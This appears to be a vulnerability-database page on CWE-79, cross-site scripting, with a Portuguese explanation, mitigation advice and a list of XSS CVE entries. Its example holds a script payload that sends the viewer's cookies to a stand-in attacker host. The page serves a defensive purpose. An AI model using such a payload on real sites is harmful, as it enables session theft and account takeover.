Fallos del tipo CWE-79

29.626 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-61597MEDIUMdjust is vulnerable to stored/reflected XSS via javascript: URLs in built-in component template tagsEPSS 0.4%CVE-2023-47514HIGHWordPress Star CloudPRNT for WooCommerce Plugin <= 2.0.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-46621HIGHWordPress User Avatar Plugin <= 1.4.11 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-55793MEDIUMCraft CMS: Stored XSS via Structure entry title in table viewEPSS 0.4%CVE-2024-6369MEDIUMLabVantage LIMS POST Request cross site scriptingEPSS 0.4%CVE-2021-24683—Weather Effect < 1.3.4 - CSRF to Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-48756HIGHWordPress JetBlocks For Elementor Plugin <= 1.3.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-23452HIGHWordPress EditionGuard for WooCommerce plugin <= 3.4.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-29808MEDIUMWordPress Photo Gallery Plugin <= 1.8.21 Reflected Cross Site Scripting in editimage_bwg image_idEPSS 0.4%CVE-2025-3823MEDIUMSourceCodester Web-based Pharmacy Product Management System add-stock.php cross site scriptingEPSS 0.4%CVE-2023-47547HIGHWordPress Products, Order & Customers Export for WooCommerce Plugin <= 2.0.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-10768MEDIUMPHPGurukul Online Shopping Portal two_tables.php cross site scriptingEPSS 0.4%CVE-2023-49171HIGHWordPress Innovs HR Plugin <= 1.0.3.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-46627HIGHWordPress WP Simple HTML Sitemap Plugin <= 2.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-47544HIGHWordPress Atarim Plugin <= 3.12 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-49740HIGHWordPress Seraphinite Accelerator Plugin <= 2.20.28 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-26930HIGHSmarterTools SmarterMail before 9526 allows XSS via MAPI requests.EPSS 0.4%CVE-2026-3551MEDIUMCustom New User Notification <= 1.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'User Mail Subject' SettingEPSS 0.4%CVE-2023-48322HIGHWordPress eDoc Employee Job Application Plugin <= 1.13 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-3367MEDIUMLockme OAuth2 calendars integration <= 2.11.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'App ID' SettingEPSS 0.4%